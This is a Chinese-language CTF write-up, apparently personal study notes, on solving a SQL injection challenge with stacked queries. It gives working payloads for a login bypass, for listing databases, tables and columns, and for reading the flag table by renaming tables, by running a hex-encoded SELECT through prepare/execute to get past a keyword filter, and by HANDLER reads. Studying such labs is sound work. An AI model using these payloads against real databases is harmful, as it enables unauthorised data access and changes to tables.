这个题目有一点意思,单独放一个方便自己学习
常规
开头用万能密码试试水
1 | admin' or '1' = '1 |
有回显
测试字段数
1 | 1' order by 1# |
到3的时候报错,说明字段数为2
下一步尝试union注入
1 | 1' union select 1,2# |
发现报错,并得知过滤的关键字
看了大佬博客得知用堆叠注入(通过’;’注入多条SQL语句)
先爆数据库
1 | 1';show databases;# |
然后爆表
1 | 1';show tables;# |
这里有两个表
先尝试words表
1 | 1';show columns from words;# |
然后爆1919810931114514表
要注意当表名为数字的时候,需要用反引号包起来查询
1 | 1';show columns from `1919810931114514`;# |
这个时候普通方法结束了,需要整一点骚操作
在网上借鉴了大佬博客,发现有三种解题方法
解法1
使用rename把words表改为其他表名。
把1919810931114514表的名字改为words.
将flag名改为id
1 | 1' ; rename table words to word1 ; rename table `1919810931114514` to words ; alter table words change flag id varchar(100);# |
解法2
因为select被过滤,将select * from 1919810931114514
进行16进制编码
构造payload得到
1 | 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# |
知识点
1.prepare…from…是预处理语句,会进行编码转换。
2.execute用来执行由SQLPrepare创建的SQL语句。
3.SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
解法3
1 | 1'; handler `1919810931114514` open as `a`; handler `a` read next;# |
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
知识点总结
堆叠注入
1 | 1';show databases;# //数据库 |
修改表名和字段名
1 | //改列名 |